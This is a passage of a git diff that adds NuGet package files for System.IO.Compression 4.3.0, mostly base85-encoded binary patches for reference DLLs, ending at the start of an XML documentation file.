zYw5v|s{BlD#wjbb5eaR`4Xs5&@Bdp=??22S`P-?A`X)GSHo_}`)iE@v(IqwQE#8*bs(I3D4@W7YyKhP z(o*6_e_W78zFk0k5c!{NP3Z6!Mg$R(-vR(TKenw1b75KSemh|(`Np=cAHcHGzub$1 zfll!s4A-_HrN+5ZsVoyjAnyc-u7Qe%vQjOAZgwM1;c$UM;6 zde*Z3`JBG{((zZ4O|FmAe8`@&*4%4B1uY@{<-{*+e4i@{oO3eJOw$}R&7m)^>m68Q z+&tBuOIfP$Ot6#ImrIq$wkJU)lEz8_5r`u#7#OC4Mwad{C6G;Npb(3|-Bw;pL;R1GZPQ!evcqPWIs zMAf@AZoXdLX+9Dob>8~ezO#sgjM?qBYcHKSWFIW4!qp&UEHd>zV6^ z5BfKmH*k(HI(3Zp; zsGE-m)VWAgw037N2b{4<`RcJ}?vr-yu=c6A6{9`KL7v# literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.dll b/packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.dll new file mode 100644 index 0000000000000000000000000000000000000000..6de132f297f72fad498bf5e0e0a16ecb07ae53c1 GIT binary patch literal 24280 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 Drw(WN literal 0 HcmV?d00001 diff --git a/packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.xml b/packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.xml new file mode 100644 index 0000000..8d194f6 --- /dev/null +++ b/packages/System.IO.Compression.4.3.0/ref/netcore50/System.IO.Compression.xml @@ -0,0 +1,430 @@ + + + + System.IO.Compression + + + +